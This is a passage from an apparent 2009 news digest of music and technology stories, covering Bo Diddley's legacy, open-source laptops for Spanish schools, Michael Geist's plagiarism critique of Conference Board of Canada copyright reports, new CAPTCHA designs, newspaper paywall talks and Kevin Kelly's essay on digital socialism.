"I got to say, it was the darkest and weakest part of my life, emotionally," she says. "I got so big so quickly, I lost sense of reality. I lost my friends and I didn't really have a normal life. All my friends went to college when I was 18 and I went and got famous overnight. So, I was a bit of a train wreck, to say the least."

O'Riordan is currently on a European promo tour and will head to the United States in July for a series of dates. "The Journey" will be released on iTunes on June 2.
http://www.billboard.com/bbcom/news/...03975071.story





A Year After His Death, Bo Diddley In New Spotlight
Billboard

Bo is gone. But his beat goes on.

It's been a year since Bo Diddley died of heart failure at age 79 in his home in Archer, Fla., after a prolonged illness. His June 2, 2008, passing ended one of the most influential careers in pop music history, a 54-year run during which the man born Ellas Otha Bates earned the rightful title of the Originator as he helped merge blues into rock 'n' roll.

On such hits as "Bo Diddley," "Hey Bo Diddley," "Say Man" and "Who Do You Love," Diddley created a staccato, second-line-style beat that became an intrinsic part of rock's foundation.

Diddley's array of inventions included his trademark, square-shaped Gretsch guitar (three models of which are now manufactured by Fender) and a variety of effects that are commonplace today.

In the wake of his passing, those who guided his career now want to ensure that Diddley's legacy remains vital and potent. Leading this effort are Margot Lewis and Faith Fusillo of Talent Source. Lewis had been Diddley's agent since the early '80s and became his manager in 1992. Fusillo stepped up at that time as Diddley's business manager. The two oversee an estate that includes four children, 15 grandchildren, 15 great-grandchildren and three great-great-grandchildren.

"We want to perpetuate his legacy and make sure he gets his due in the world of popular music and popular culture," Fusillo says. "We really believe (Diddley) is an American original, just like Marilyn Monroe or James Dean. I don't think he got that due during his lifetime. So we're exploring all kinds of ways to take (Diddley) into the 21st century. He's still so well-thought-of today, we need to make sure that 50 years from now he's still considered an American icon."

Unreleased Music

Lewis and Fusillo are working with strategic partners -- primarily the New York-based publishing and marketing firm Primary Wave Music, and also Universal Music Enterprises (UMe), which owns much of Diddley's recorded catalog -- on an array of projects, including exposure for some 200 reels of unreleased and largely unheard Diddley recordings.

"Bo is such an icon," Primary Wave chief marketing officer Adam Lowenberg says, "but we feel that he is under-represented, and there's so much meat on the table."

A new Web site, BoDiddley.com, will serve as a major portal through which fans will be able to buy new Diddley product, including an extensive merchandise line that's in development. Fusillo says there also will be items bearing the "Bo Knows" image from Diddley's portion of the late-'80s Nike ad campaign that featured dual-sport professional athlete Bo Jackson.

A future part of the Web site will be a USB drive that Lowenberg says fans will be able to use to receive new musical offerings and other exclusive content.

Available now, however, is a Diddley Collector's Pack on iTunes featuring the artist's hits and an exclusive unreleased track -- a frenetic jam recorded in the '70s and featuring "Bo going crazy on the guitar for about 10 minutes. It's unbelievable, vintage Bo. When we first heard it, we almost started to cry," Fusillo says.

Talent Source and Primary Wave are hoping that will be the first of many new offerings to come from what Fusillo calls Diddley's "basement tapes." She and Lewis are combing through them, transferring tapes to digital formats, cataloging and copyrighting material that ranges from nascent riffs and ideas to full songs in a variety of genres.

"They're sitting on so much music ... boxes and boxes of stuff," Lowenberg says. "We are very confident that there is a great deal of unreleased music ... that's going to come into play later on down the line."

Ringtones And Samples

He expects to introduce a line of Diddley ringtones and plans to market the music for sampling. He'd also like to "put an album together that takes today's stars and people who have been influenced by Bo over the years and give them some of these snippets and beats and (guitar) lines and have them craft songs around them."

ZZ Top guitarist Billy Gibbons, who with Diddley co-designed a special "Billy-Bo" guitar for Gretsch, is among the artists who would certainly have an appetite for that. "We've played Bo Diddley music all these years. It would be an honor to have any role whatsoever in creating new Bo Diddley music," he says.

Talent Source also has a video of Diddley's last major concert performance -- at Australia's Byron Bay Festival in 2007, two weeks before he suffered a stroke -- that will come out on DVD, possibly before the end of the year.

UMe, meanwhile, is preparing for the June 9 release of "Ride On/The Chess Masters 1960-1961." The set boasts 16 unreleased tracks and rarities, including recordings Diddley made at his home studio.

Primary Wave, Talent Source sister company Talent Consultants International and the Diddley estate also hope to stage a tribute concert, most likely for the second anniversary of his death, in 2010, which will probably yield a companion album and DVD. Lowenberg says the company "will certainly reach out to all of Bo's biggest (musician) fans and people he influenced the most in the music community."

A documentary about Diddley is under discussion and a coffee-table book featuring photos from throughout his career is planned.

"It's not just about raising a bunch of money for the estate," Lewis says. "We just want to spread the word and make people aware of who Bo Diddley was in the history of music. He was such an important figure and made so many important contributions that we still hear today. We have to make sure that people know who Bob Diddley was ... forever."

(Editing by Dean Gooodman)
http://www.reuters.com/article/music...54S65820090529





Socialist Party in Spain Wants Open Source on School Laptops

Socialist Party in Spain wants open source on school laptops

Spain's socialist party (PSOE) wants the laptops that are to be disseminated to 420,000 school students in September to be equipped with open source software.

According to a report by the Spanish newspaper El Mundo, Leire Pajín, the party's secretary in a speech in the city of Toledo last Friday said: "We will ensure these computers use open source."

Pajín responded to plans announced by the Spanish government last month to hand out laptops with only proprietary software to all primary school students.

Apart from the political opposition, the school laptop plan has been criticised by teachers, parent organisations the Spanish free software association Hispalinux and the Spanish consumer advocacy group 'Facua-Consumidores en Acción'.

Spanish newspaper El Pais for instance quoted high school teacher Marta Pacheco of the Averoes school in Cordoba, saying the proprietary software licences would be too expensive yet working with open source would limit the number of options.

Hispalinux in April criticised the laptop plan, saying the government had not even requested a public tender for the laptops. According to El Mundo, the Facua-Consumer Action organisation has written prime minister José Luis Rodríguez Zapatero and the minister of Education, Ángel Gabilondo, urging them to make sure the school computers use open source software, to avoid promoting just a single brand.

The group warned that fitting the laptops with both proprietary and open source operating systems would mean a huge expense for the government, forcing it to by thousands of proprietary licences. "Using only free software would result in substantial savings for the state and the autonomous regions."

Visiting Toledo on Friday, Pajín complimented the governments of Castile-La Mancha and Extremadura, both of which have developed open source systems used in their schools.
http://www.unixmen.com/news-today/21...school-laptops





The Conference Board of Canada's Deceptive, Plagiarized Digital Economy Report
Michael Geist

The Conference Board of Canada bills itself as "the foremost, independent, not-for-profit applied research organization in Canada. Objective and non-partisan. We do not lobby for specific interests." These claims should take a major hit based on last week's release of a deceptive, plagiarized report on the digital economy that copied text from the International Intellectual Property Alliance (the primary movie, music, and software lobby in the U.S.), at times without full attribution. The report itself was funded by copyright lobby groups (U.S. Chamber of Commerce, Canadian Chamber of Commerce, Canadian Anti-Counterfeiting Network, Copyright Collective of Canada which represents U.S. film production) along with the Ontario Ministry of Research and Innovation. The role of the Ontario government obviously raises questions about taxpayer dollars being used to pay for a report that simply recycles the language of a U.S. lobby group paper.

Start with the press release promoting the study, titled "Canada Seen as the File Swapping Capital of the World" which claims:

As a result of lax regulation and enforcement, internet piracy appears to be on the increase in Canada. The estimated number of illicit downloads (1.3 billion) is 65 times higher than the number legal downloads (20 million), mirroring the Organisation for Economic Cooperation and Development’s conclusion that Canada has the highest per capita incidence of unauthorized file-swapping in the world.

While the release succeeded in generating attention, the report does not come close to supporting these claims. The headline-grabbing claim of 1.3 billion unauthorized downloads relies on a January 2008 Canadian Recording Industry Association press release. That release cites a 2006 Pollara survey as the basis for the statement. In other words, the Conference Board relies on a survey of 1200 people conducted more than three years ago to extrapolate to a claim of 1.3 billion unauthorized downloads (the survey itself actually ran counter to many of CRIA's claims). The OECD study that the Conference Board says found the highest per capita incidence of unauthorized file sharing in the world did not reach that conclusion. The report - which is based on six year old data that is now out-of-date - was limited to the 30 OECD countries (not the world) and did not make any comment or determination on unauthorized activity.

That is just the press release - the report itself is even worse as it is largely a copy of the IIPA 2008 Special 301 Report on Canada. Given the lack of attribution in some instances, this work would face possible plagiarism sanctions in almost any academic environment. Even where there is attribution, the chart below demonstrates that the report simply adopts the IIPA positions and language as its own.

While the flagship Digital Economy report is the only one with plagiarism, two other reports on IP issued at the same time also raise concerns. A report titled Creating Value and Stimulating Investment: A Business-Level Assessment of the Role of Intellectual Property, retreads the same guesses on counterfeiting, stating:

Estimates from Canadian Manufacturers & Exporters place the value of counterfeit goods in Canada at $20 billion to $30 billion. RCMP intelligence shows that the trend is "billions and growing." Although the RCMP and others acknowledge that no comprehensive study has been done on the specific amount of pirated and counterfeit goods, they concur that a widely accepted estimated cost of counterfeiting and piracy to the Canadian economy ranges between $10 billion and $30 billion per year. To validate these estimates, Canadian piracy and counterfeiting losses can be estimated in relation to U.S. losses. The U.S. Chamber of Commerce estimates that counterfeiting and piracy costs the U.S. economy US$250 billion per year. Since the GDP of the Canadian economy is approximately nine per cent of the U.S. economy, the cost of counterfeiting and piracy in Canada is approximately US$22.5 billion- a crude estimate, but nevertheless validating all the above figures.

Of the course, all estimates - the CME, RCMP, and Chamber of Commerce are all based on the same guess, so there is no "validation" of the figures as the report suggests.

A third report titled National Innovation Performance and Intellectual Property Rights: A Comparative Analysis misleads by lamenting that Canada ranked 19th worldwide in intellectual property protection according to a 2008 World Economic Forum study on competitiveness. What the report fails to mention is that Canada was actually tied with four other countries ranked 15th to 19th including the United States, which in the same paragraph is heralded as a leader in innovation whereas Canada is described a laggard.

The Digital Ecomomy report raises some deeply troubling questions for the Conference Board of Canada, its board directors, and for Minister John Wilkinson, whose department helped fund it. In particular:

For Anne Golden, the President and CEO of the Conference Board of Canada:

* Is a deceptive, plagiarized report drawn from a U.S. lobby group consistent with an organization that claims that it is non-partisan and that does not lobby?
* How much was the Conference Board of Canada paid to produce this report?
* Does the Conference Board of Canada stand by the report in light of these findings?
* Will the Conference Board of Canada retract the report and the inaccurate press release that accompanied it?

For Stephen Toope, President of UBC, and Indira V. Samarasekera, President of the University of Alberta, both members of the Conference Board of Canada board:

* Do they condone or support the use of plagiarism in this report?
* Will they ask the Conference Board of Canada to review this report and to retract it?

Perhaps most importantly, for Minister of Research and Innovation John Wilkinson:

* How much public money was spent in support of this report?
* Does the government support the use of public money for a report that simply repeats the language of a U.S. lobby group?
* Will the Minister ask the Conference Board of Canada to refund the public money spent on this report?
* Will the Minister publicly disassociate himself from the report in light of these findings?

You can pose these and other questions yourself (Golden, Toope, Samarasekera, Wilkinson) as I think the public deserves some answers.
http://www.michaelgeist.ca/content/view/4000/125/





Conference Board Recalls Controversial Copyright Reports
CBC News

The Conference Board of Canada has recalled three reports advocating tighter copyright rules, stating that the reports didn't follow research standards.

In a notice posted on its website Thursday, the board said it was recalling Intellectual Property Rights in the Digital Economy; National Innovation Performance and Intellectual Property Rights: A Comparative Analysis; and Intellectual Property Rights-Creating Value and Stimulating Investment.

It said an internal review showed the reports "did not follow the high-quality research standards of the Conference Board of Canada."

On Monday, University of Ottawa law Prof. Michael Geist, who writes frequently about internet copyright issues, attacked the form and content of the reports, calling one of them "deceptive and plagiarized."

Copyright is a hot issue in Canada right now. The last version of the federal government's copyright bill, which could have imposed serious penalties for illegal downloading, died when the government dissolved Parliament before last fall's election.

The Conservatives have said they will reintroduce copyright reform.

The board promoted its reports with a release saying, "Canada's failure to strengthen intellectual property rights in the face of digital technology has given it an unwelcome reputation as the file-swapping capital of the world."

"The estimated number of illicit downloads (1.3 billion) is 65 times higher than the number legal downloads (20 million), mirroring the Organization for Economic Co-operation and Development's conclusion that Canada has the highest per capita incidence of unauthorized file-swapping in the world," the board said.

But in a posting on his blog, Geist said those claims are based on extrapolated data from a 2006 survey, and the Organization for Economic Co-operation and Development study "did not reach" the conclusion the board said it did.

Moreover, Geist said the board based its information on material previously published by the International Intellectual Property Alliance, "the primary movie, music and software lobby in the U.S."

He also said the board had copied parts of its report from a property alliance report.
http://www.cbc.ca/technology/story/2...ght-geist.html





Recent Advances in Nanotechnology May Lead to a Massive Increase in Memory Capacity
Alex

There are two very exciting recent advances in nanotechnology may soon result in a massive increase in memory capacities of your DVDs and iPods:

* Researchers at the Centre for Micro-Photonics at the Swinburne University of Technology in Victoria, Australia, created a new material that could lead to new discs that can store 10,000 times more data than your average DVDs.

The material is made up of layers of gold nanorods suspended in clear plastic spun flat on a glass substrate. Multiple data patterns can be written and read within the same area in the material without interfering with each other. Using three wavelengths and two polarizations of light, the Australian researchers have written six different patterns within the same area. They've further increased the storage density to 1.1 terabytes per cubic centimeter by writing data to stacks of as many as 10 nanorod layers. In a paper published online today in the journal Nature, Gu's group reports recording speeds of about a gigabit per second.

* Berkeley (yay! My alma mater) researcher Alex Zettl and colleagues created a physical memory cell composed of an iron nanoparticle that can be moved back and forth in a nanotube. The position of the iron particle represents the state of the bit, which leads to very dense and highly stabile memory arrays, resulting in very long lifetime: Link
http://www.neatorama.com/2009/05/25/...mory-capacity/





New Puzzles That Tell Humans From Machines
Anne Eisenberg

ROGUE programs try their best to register at Web sites and then wreak havoc, but a clever puzzle often bars them from entry: a set of distorted, squiggly letters and numbers that people can decipher and type correctly for admission, but that machines still can’t.

Well, at least for the moment.

Now, to stay one jump ahead of fraudsters and their automated programs, researchers are devising more versions of the puzzles, called captchas, to help sites block abuse that includes spam e-mail, illegal postings and skewed online voting.

Researchers at Google are testing a new captcha that requires people to turn upright randomly rotated images, like that of a parrot perched temporarily upside-down on a leafy branch. The task is a breeze for people — using a cellphone touchscreen, for example, to flip the image — but hard for machines.

The new puzzles could be built around a site’s theme — for instance, cartoons at a Disney site, or objects for sale at eBay, said Rich Gossweiler, a senior research scientist at Google who led the team that developed the system. It can be put in place rapidly, he said, and has an almost limitless supply of images. “Our technique expands the vocabulary of captchas” beyond obfuscated characters, he said. “And it might make the process less of a chore. It’s fun to solve a puzzle.”

The program rejects images like those for human faces that computers have already learned to recognize, he said. “We first remove all those images that computers can turn upright, and then the ones that humans have trouble with,” he said.

People may have trouble orienting abstract art, but they can quickly distinguish a parrot’s image, for example, even if it is shown amid objects like leaves. “We can see it needs to be upright,” he said, “but it’s more difficult for the computer to segment out the parrot” and then orient it.

Google can keep replenishing its library of images by testing new candidates. “If a bunch of people put an image upright, we keep it,” he said. But if the image is troublesome, it will be discarded.

Another new approach in the captcha arms race was developed by Luis von Ahn, a professor at Carnegie Mellon University and a pioneer in captcha development. (The term is short for “completely automated public Turing test to tell computers and humans apart,” a reference to the test proposed by Alan Turing, the British mathematician, to determine if a computer can be said to think like a human.)

Dr. von Ahn has created a more secure version of audio captchas used by the visually impaired in surfing the Internet with screen readers. Traditionally in audio captchas, a distorted voice reads numbers and the user types them in. But research led by Dr. von Ahn and a student, Jennifer Tam, showed that such captchas are easily deciphered by automatic programs and may lead to security risks.

In the new captchas, which Dr. von Ahn said had proved to be more secure in research trials, the audio clips are not of numbers, but of phrases drawn from old radio shows posted on the Internet Archive. They will be easy for people to solve, but tough for automated programs.

Dr. von Ahn has also created a free system, called reCaptcha (recaptcha.net), now used by about 120,000 sites including Ticketmaster, Craigslist, Facebook, Twitter and The New York Times.

The system has an unusual twist that provides an added benefit to projects that are digitizing books and papers in archives: the source of the wiggly images that people must decipher is not random. The images are drawn from books and other media that are being digitized in mass projects, but that machines haven’t been able to read because, for instance, the page is wrinkled.

Automatic character recognition lets people who are having the work scanned know which words it cannot read. These are the words that recaptcha farms out and, once they are interpreted, returns to the original document. In this way, word by word, most of the mystery words are deciphered, in this case by humans. “We are digitizing about 25 million words per day by having people type in captchas,” Dr. von Ahn said.

The audio captchas are also being used for transcription and digitization projects. “We are doing both speech and text,” Dr. von Ahn said. “Take your choice.”

The Times is paying reCaptcha for its help in digitizing its archives, said Marc Frons, chief technology officer, digital operations. So far, puzzling words in archives covering about 30 years have been deciphered with reCaptchas, he said.

Many people worry that as machines become smarter, the days of captcha protection will be numbered, whether the puzzles take the form of distorted text, audio snippets or rotated images. But Henry Baird, a professor in the department of computer science and engineering at Lehigh University, disagrees. Dr. Baird and colleagues have proposed a system for captchas that, like Google’s, can be woven into the theme of a Web site.

“Machines’ abilities are slowly improving,” he said, “but I think there is still a huge gap between human inborn perceptual abilities and machine skills.”
http://www.nytimes.com/2009/05/24/bu...novelties.html





Newspapers Gather In Secret (With An Antitrust Lawyer) To Collude Over Paywalls

You may have noticed a bunch of stories recently about how newspapers should get an antitrust exemption to allow them to collude -- working together to all put in place a paywall at the same time. That hasn't gone anywhere, so apparently the newspapers decided to just go ahead and try to get together quietly themselves without letting anyone know. But, of course, you don't get a bunch of newspaper execs together without someone either noticing or leaking the news... so it got out. And then the newspapers admitted it with a carefully worded statement about how they got together "to discuss how best to support and preserve the traditions of newsgathering that will serve the American public." And, yes, they apparently had an antitrust lawyer or two involved.

In the end, though, it won't matter. If a bunch of newspapers decide to lock up their content, they will only be digging their own graves. Smart newspaper execs will stay away and get all of the traffic. The wire services that compete with the Associated Press (such as Reuters, and CNN's new wire service) would be well served to put out a press release now hyping up the fact that their content is free. Other, smaller providers of news should trumpet how much they want people to come to them for news instead of paying, and then watch in amusement as the newspapers (whether it's an antitrust violation or not) discover both their advertising and their subscription money disappear.

Whether it's antitrust or not, it sure looks like collective suicide.
http://techdirt.com/articles/20090528/1832395048.shtml





The New Socialism: Global Collectivist Society Is Coming Online
Kevin Kelly

Bill Gates once derided open source advocates with the worst epithet a capitalist can muster. These folks, he said, were a "new modern-day sort of communists," a malevolent force bent on destroying the monopolistic incentive that helps support the American dream. Gates was wrong: Open source zealots are more likely to be libertarians than commie pinkos. Yet there is some truth to his allegation. The frantic global rush to connect everyone to everyone, all the time, is quietly giving rise to a revised version of socialism.

Communal aspects of digital culture run deep and wide. Wikipedia is just one remarkable example of an emerging collectivism—and not just Wikipedia but wikiness at large. Ward Cunningham, who invented the first collaborative Web page in 1994, tracks nearly 150 wiki engines today, each powering myriad sites. Wetpaint, launched just three years ago, hosts more than 1 million communal efforts. Widespread adoption of the share-friendly Creative Commons alternative copyright license and the rise of ubiquitous file-sharing are two more steps in this shift. Mushrooming collaborative sites like Digg, StumbleUpon, the Hype Machine, and Twine have added weight to this great upheaval. Nearly every day another startup proudly heralds a new way to harness community action. These developments suggest a steady move toward a sort of socialism uniquely tuned for a networked world.

We're not talking about your grandfather's socialism. In fact, there is a long list of past movements this new socialism is not. It is not class warfare. It is not anti-American; indeed, digital socialism may be the newest American innovation. While old-school socialism was an arm of the state, digital socialism is socialism without the state. This new brand of socialism currently operates in the realm of culture and economics, rather than government—for now.

The type of communism with which Gates hoped to tar the creators of Linux was born in an era of enforced borders, centralized communications, and top-heavy industrial processes. Those constraints gave rise to a type of collective ownership that replaced the brilliant chaos of a free market with scientific five-year plans devised by an all-powerful politburo. This political operating system failed, to put it mildly. However, unlike those older strains of red-flag socialism, the new socialism runs over a borderless Internet, through a tightly integrated global economy. It is designed to heighten individual autonomy and thwart centralization. It is decentralization extreme.

Instead of gathering on collective farms, we gather in collective worlds. Instead of state factories, we have desktop factories connected to virtual co-ops. Instead of sharing drill bits, picks, and shovels, we share apps, scripts, and APIs. Instead of faceless politburos, we have faceless meritocracies, where the only thing that matters is getting things done. Instead of national production, we have peer production. Instead of government rations and subsidies, we have a bounty of free goods.

I recognize that the word socialism is bound to make many readers twitch. It carries tremendous cultural baggage, as do the related terms communal, communitarian, and collective. I use socialism because technically it is the best word to indicate a range of technologies that rely for their power on social interactions. Broadly, collective action is what Web sites and Net-connected apps generate when they harness input from the global audience. Of course, there's rhetorical danger in lumping so many types of organization under such an inflammatory heading. But there are no unsoiled terms available, so we might as well redeem this one.

When masses of people who own the means of production work toward a common goal and share their products in common, when they contribute labor without wages and enjoy the fruits free of charge, it's not unreasonable to call that socialism.

In the late '90s, activist, provocateur, and aging hippy John Barlow began calling this drift, somewhat tongue in cheek, "dot-communism." He defined it as a "workforce composed entirely of free agents," a decentralized gift or barter economy where there is no property and where technological architecture defines the political space. He was right on the virtual money. But there is one way in which socialism is the wrong word for what is happening: It is not an ideology. It demands no rigid creed. Rather, it is a spectrum of attitudes, techniques, and tools that promote collaboration, sharing, aggregation, coordination, ad hocracy, and a host of other newly enabled types of social cooperation. It is a design frontier and a particularly fertile space for innovation.

In his 2008 book, Here Comes Everybody, media theorist Clay Shirky suggests a useful hierarchy for sorting through these new social arrangements. Groups of people start off simply sharing and then progress to cooperation, collaboration, and finally collectivism. At each step, the amount of coordination increases. A survey of the online landscape reveals ample evidence of this phenomenon.

I. SHARING

The online masses have an incredible willingness to share. The number of personal photos posted on Facebook and MySpace is astronomical, but it's a safe bet that the overwhelming majority of photos taken with a digital camera are shared in some fashion. Then there are status updates, map locations, half-thoughts posted online. Add to this the 6 billion videos served by YouTube each month in the US alone and the millions of fan-created stories deposited on fanfic sites. The list of sharing organizations is almost endless: Yelp for reviews, Loopt for locations, Delicious for bookmarks.

Sharing is the mildest form of socialism, but it serves as the foundation for higher levels of communal engagement.

II. COOPERATION

When individuals work together toward a large-scale goal, it produces results that emerge at the group level. Not only have amateurs shared more than 3 billion photos on Flickr, but they have tagged them with categories, labels, and keywords. Others in the community cull the pictures into sets. The popularity of Creative Commons licensing means that communally, if not outright communistically, your picture is my picture. Anyone can use a photo, just as a communard might use the community wheelbarrow. I don't have to shoot yet another photo of the Eiffel Tower, since the community can provide a better one than I can take myself.

Thousands of aggregator sites employ the same social dynamic for threefold benefit. First, the technology aids users directly, letting them tag, bookmark, rank, and archive for their own use. Second, other users benefit from an individual's tags, bookmarks, and so on. And this, in turn, often creates additional value that can come only from the group as a whole. For instance, tagged snapshots of the same scene from different angles can be assembled into a stunning 3-D rendering of the location. (Check out Microsoft's Photosynth.) In a curious way, this proposition exceeds the socialist promise of "from each according to his ability, to each according to his needs" because it betters what you contribute and delivers more than you need.

Community aggregators can unleash astonishing power. Sites like Digg and Reddit, which let users vote on the Web links they display most prominently, can steer public conversation as much as newspapers or TV networks. (Full disclosure: Reddit is owned by Wired's parent company, Condé Nast.) Serious contributors to these sites put in far more energy than they could ever get in return, but they keep contributing in part because of the cultural power these instruments wield. A contributor's influence extends way beyond a lone vote, and the community's collective influence can be far out of proportion to the number of contributors. That is the whole point of social institutions—the sum outperforms the parts. Traditional socialism aimed to ramp up this dynamic via the state. Now, decoupled from government and hooked into the global digital matrix, this elusive force operates at a larger scale than ever before.

III. COLLABORATION

Organized collaboration can produce results beyond the achievements of ad hoc cooperation. Just look at any of hundreds of open source software projects, such as the Apache Web server. In these endeavors, finely tuned communal tools generate high-quality products from the coordinated work of thousands or tens of thousands of members. In contrast to casual cooperation, collaboration on large, complex projects tends to bring the participants only indirect benefits, since each member of the group interacts with only a small part of the end product. An enthusiast may spend months writing code for a subroutine when the program's full utility is several years away. In fact, the work-reward ratio is so out of kilter from a free-market perspective—the workers do immense amounts of high-market-value work without being paid—that these collaborative efforts make no sense within capitalism.

Adding to the economic dissonance, we've become accustomed to enjoying the products of these collaborations free of charge. Instead of money, the peer producers who create the stuff gain credit, status, reputation, enjoyment, satisfaction, and experience. Not only is the product free, it can be copied freely and used as the basis for new products. Alternative schemes for managing intellectual property, including Creative Commons and the GNU licenses, were invented to ensure these "frees."

Of course, there's nothing particularly socialistic about collaboration per se. But the tools of online collaboration support a communal style of production that shuns capitalistic investors and keeps ownership in the hands of the workers, and to some extent those of the consuming masses.

IV. COLLECTIVISM

While cooperation can write an encyclopedia, no one is held responsible if the community fails to reach consensus, and lack of agreement doesn't endanger the enterprise as a whole. The aim of a collective, however, is to engineer a system where self-directed peers take responsibility for critical processes and where difficult decisions, such as sorting out priorities, are decided by all participants. Throughout history, hundreds of small-scale collectivist groups have tried this operating system. The results have not been encouraging, even setting aside Jim Jones and the Manson family.

Indeed, a close examination of the governing kernel of, say, Wikipedia, Linux, or OpenOffice shows that these efforts are further from the collectivist ideal than appears from the outside. While millions of writers contribute to Wikipedia, a smaller number of editors (around 1,500) are responsible for the majority of the editing. Ditto for collectives that write code. A vast army of contributions is managed by a much smaller group of coordinators. As Mitch Kapor, founding chair of the Mozilla open source code factory, observed, "Inside every working anarchy, there's an old-boy network."

This isn't necessarily a bad thing. Some types of collectives benefit from hierarchy while others are hurt by it. Platforms like the Internet and Facebook, or democracy—which are intended to serve as a substrate for producing goods and delivering services—benefit from being as nonhierarchical as possible, minimizing barriers to entry and distributing rights and responsibilities equally. When powerful actors appear, the entire fabric suffers. On the other hand, organizations built to create products often need strong leaders and hierarchies arranged around time scales: One level focuses on hourly needs, another on the next five years.

In the past, constructing an organization that exploited hierarchy yet maximized collectivism was nearly impossible. Now digital networking provides the necessary infrastructure. The Net empowers product-focused organizations to function collectively while keeping the hierarchy from fully taking over. The organization behind MySQL, an open source database, is not romantically nonhierarchical, but it is far more collectivist than Oracle. Likewise, Wikipedia is not a bastion of equality, but it is vastly more collectivist than the Encyclopædia Britannica. The elite core we find at the heart of online collectives is actually a sign that stateless socialism can work on a grand scale.

Most people in the West, including myself, were indoctrinated with the notion that extending the power of individuals necessarily diminishes the power of the state, and vice versa. In practice, though, most polities socialize some resources and individualize others. Most free-market economies have socialized education, and even extremely socialized societies allow some private property.

Rather than viewing technological socialism as one side of a zero-sum trade-off between free-market individualism and centralized authority, it can be seen as a cultural OS that elevates both the individual and the group at once. The largely unarticulated but intuitively understood goal of communitarian technology is this: to maximize both individual autonomy and the power of people working together. Thus, digital socialism can be viewed as a third way that renders irrelevant the old debates.

The notion of a third way is echoed by Yochai Benkler, author of The Wealth of Networks, who has probably thought more than anyone else about the politics of networks. "I see the emergence of social production and peer production as an alternative to both state-based and market-based closed, proprietary systems," he says, noting that these activities "can enhance creativity, productivity, and freedom." The new OS is neither the classic communism of centralized planning without private property nor the undiluted chaos of a free market. Instead, it is an emerging design space in which decentralized public coordination can solve problems and create things that neither pure communism nor pure capitalism can.

Hybrid systems that blend market and nonmarket mechanisms are not new. For decades, researchers have studied the decentralized, socialized production methods of northern Italian and Basque industrial co-ops, in which employees are owners, selecting management and limiting profit distribution, independent of state control. But only since the arrival of low-cost, instantaneous, ubiquitous collaboration has it been possible to migrate the core of those ideas into diverse new realms, like writing enterprise software or reference books.

The dream is to scale up this third way beyond local experiments. How large? Ohloh, a company that tracks the open source industry, lists roughly 250,000 people working on an amazing 275,000 projects. That's almost the size of General Motors' workforce. That is an awful lot of people working for free, even if they're not full-time. Imagine if all the employees of GM weren't paid yet continued to produce automobiles!

So far, the biggest efforts are open source projects, and the largest of them, such as Apache, manage several hundred contributors—about the size of a village. One study estimates that 60,000 man-years of work have poured into last year's release of Fedora Linux 9, so we have proof that self-assembly and the dynamics of sharing can govern a project on the scale of a decentralized town or village.

Of course, the total census of participants in online collective work is far greater. YouTube claims some 350 million monthly visitors. Nearly 10 million registered users have contributed to Wikipedia, 160,000 of whom are designated active. More than 35 million folks have posted and tagged more than 3 billion photos and videos on Flickr. Yahoo hosts 7.8 million groups focused on every possible subject. Google has 3.9 million.

These numbers still fall short of a nation. They may not even cross the threshold of mainstream (although if YouTube isn't mainstream, what is?). But clearly the population that lives with socialized media is significant. The number of people who make things for free, share things for free, use things for free, belong to collective software farms, work on projects that require communal decisions, or experience the benefits of decentralized socialism has reached millions and counting. Revolutions have grown out of much smaller numbers.

On the face of it, one might expect a lot of political posturing from folks who are constructing an alternative to capitalism and corporatism. But the coders, hackers, and programmers who design sharing tools don't think of themselves as revolutionaries. No new political party is being organized in conference rooms—at least, not in the US. (In Sweden, the Pirate Party formed on a platform of file-sharing. It won a paltry 0.63 percent of votes in the 2006 national election.)

Indeed, the leaders of the new socialism are extremely pragmatic. A survey of 2,784 open source developers explored their motivations. The most common was "to learn and develop new skills." That's practical. One academic put it this way (paraphrasing): The major reason for working on free stuff is to improve my own damn software. Basically, overt politics is not practical enough.

But the rest of us may not be politically immune to the rising tide of sharing, cooperation, collaboration, and collectivism. For the first time in years, the s-word is being uttered by TV pundits and in national newsmagazines as a force in US politics. Obviously, the trend toward nationalizing hunks of industry, instituting national health care, and jump-starting job creation with tax money isn't wholly due to techno-socialism. But the last election demonstrated the power of a decentralized, webified base with digital collaboration at its core. The more we benefit from such collaboration, the more open we become to socialist institutions in government. The coercive, soul-smashing system of North Korea is dead; the future is a hybrid that takes cues from both Wikipedia and the moderate socialism of Sweden.

How close to a noncapitalistic, open source, peer-production society can this movement take us? Every time that question has been asked, the answer has been: closer than we thought. Consider craigslist. Just classified ads, right? But the site amplified the handy community swap board to reach a regional audience, enhanced it with pictures and real-time updates, and suddenly became a national treasure. Operating without state funding or control, connecting citizens directly to citizens, this mostly free marketplace achieves social good at an efficiency that would stagger any government or traditional corporation. Sure, it undermines the business model of newspapers, but at the same time it makes an indisputable case that the sharing model is a viable alternative to both profit-seeking corporations and tax-supported civic institutions.

Who would have believed that poor farmers could secure $100 loans from perfect strangers on the other side of the planet—and pay them back? That is what Kiva does with peer-to-peer lending. Every public health care expert declared confidently that sharing was fine for photos, but no one would share their medical records. But PatientsLikeMe, where patients pool results of treatments to better their own care, prove that collective action can trump both doctors and privacy scares. The increasingly common habit of sharing what you're thinking (Twitter), what you're reading (StumbleUpon), your finances (Wesabe), your everything (the Web) is becoming a foundation of our culture. Doing it while collaboratively building encyclopedias, news agencies, video archives, and software in groups that span continents, with people you don't know and whose class is irrelevant—that makes political socialism seem like the logical next step.

A similar thing happened with free markets over the past century. Every day, someone asked: What can't markets do? We took a long list of problems that seemed to require rational planning or paternal government and instead applied marketplace logic. In most cases, the market solution worked significantly better. Much of the prosperity in recent decades was gained by unleashing market forces on social problems.

Now we're trying the same trick with collaborative social technology, applying digital socialism to a growing list of wishes—and occasionally to problems that the free market couldn't solve—to see if it works. So far, the results have been startling. At nearly every turn, the power of sharing, cooperation, collaboration, openness, free pricing, and transparency has proven to be more practical than we capitalists thought possible. Each time we try it, we find that the power of the new socialism is bigger than we imagined.

We underestimate the power of our tools to reshape our minds. Did we really believe we could collaboratively build and inhabit virtual worlds all day, every day, and not have it affect our perspective? The force of online socialism is growing. Its dynamic is spreading beyond electrons—perhaps into elections.
http://www.wired.com/culture/culture...urrentPage=all





Landmark Study: DRM Truly Does Make Pirates Out of Us All

A UK researcher has spent years interviewing people about whether DRM has affected their ability to use content in ways ordinarily protected by the law. Surprise! It has, even leading one sight-impaired woman to piracy.
Nate Anderson

